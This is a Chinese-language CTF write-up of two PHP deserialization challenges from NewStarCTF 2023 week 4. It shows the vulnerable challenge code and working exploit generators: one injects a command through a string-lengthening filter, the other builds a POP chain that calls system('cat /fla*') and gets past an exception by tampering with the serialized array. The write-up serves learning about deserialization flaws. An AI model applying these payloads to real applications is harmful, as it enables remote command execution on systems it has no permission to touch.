Home NewStarCTF2023 week4 反序列化记录
Post
Cancel

NewStarCTF2023 week4 反序列化记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); 

这里传入的 key 先序列化,在反序列化。

这里的 序列化后 有一个waf 会将 bad 替换成 good,

我们先 正常 传入一个key,进行反序列化得到一个正常的payload

1
O:7:"GetFlag":2:{s:3:"key";s:4:"test";s:3:"cmd";s:6:"whoami";}

我们需要伪造的就是 ";s:3:"cmd";s:6:"whoami";} 这一串,test后面的。

因为,bad 替换成 good 后,中间的 key 的 值 会变长,但是读取的字符串长度是固定的(s:4:),就可以让后面的部分";s:3:"cmd";s:6:"whoami";}不在反序列化的范围内。

如下面的图,经过waf后,第四段就不在反序列化的范围内了。

image-20231024093431830

1
2
3
4
5
6
7
8
9
<?php
$cmd = 'ls /';
// ";s:3:"cmd";s:6:"whoami";}
$payload = '";s:3:"cmd";s:' . strlen($cmd) . ':"' . $cmd . '";}';
$badstr =  str_repeat('bad', strlen($payload));
$key = $badstr . $payload;
echo $key;

# badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}

我们简单的理解一下,就可以写成一个 payload 生成器。

image-20231024094642983

注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

use GetFlag as GlobalGetFlag;

class GetFlag {
    public $key = 'badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}';
    public $cmd = "whoami";
}
// O:7:"GetFlag":2:{s:3:"key";N;s:3:"cmd";s:6:"whoami";}
// ";s:3:"cmd";s:6:"whoami";}
// ";s:3:"cmd";s:4:"ls /";}
// O:7:"GetFlag":2:{s:3:"key";s:96:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";}";s:3:"cmd";s:6:"whoami";}

echo serialize(new GlobalGetFlag());

More Fast(Exception绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

pop链

1
2
3
4
5
WEB::evil()
Pwn::__invoke[obj] --> WEB::evil()
Reverse::__get[func] --> Pwn::__invoke
Crypto::__toString[obj] --> Reverse::__get
Start::__destruct[errMsg] --> Crypto::__toString
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php

use Crypto as GlobalCrypto;
use Pwn as GlobalPwn;
use Reverse as GlobalReverse;
use Start as GlobalStart;
use Web as GlobalWeb;

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class myclass{}


$a = new GlobalWeb();
$a->func = 'system';
$a->var = 'cat /fla*';

$b = new GlobalPwn();
$c = new GlobalReverse();
$d = new GlobalCrypto();
$e = new GlobalStart();

$b->obj = $a;
$c->func = $b;
$d->obj = $c;
$e->errMsg = $d;


$payload = serialize(array($e, null));
$payload = str_replace('i:1;N;}', 'i:0;N;}', $payload);
echo $payload;

image-20231024112410706

image-20231024112832877

This post is licensed under CC BY 4.0 by the author.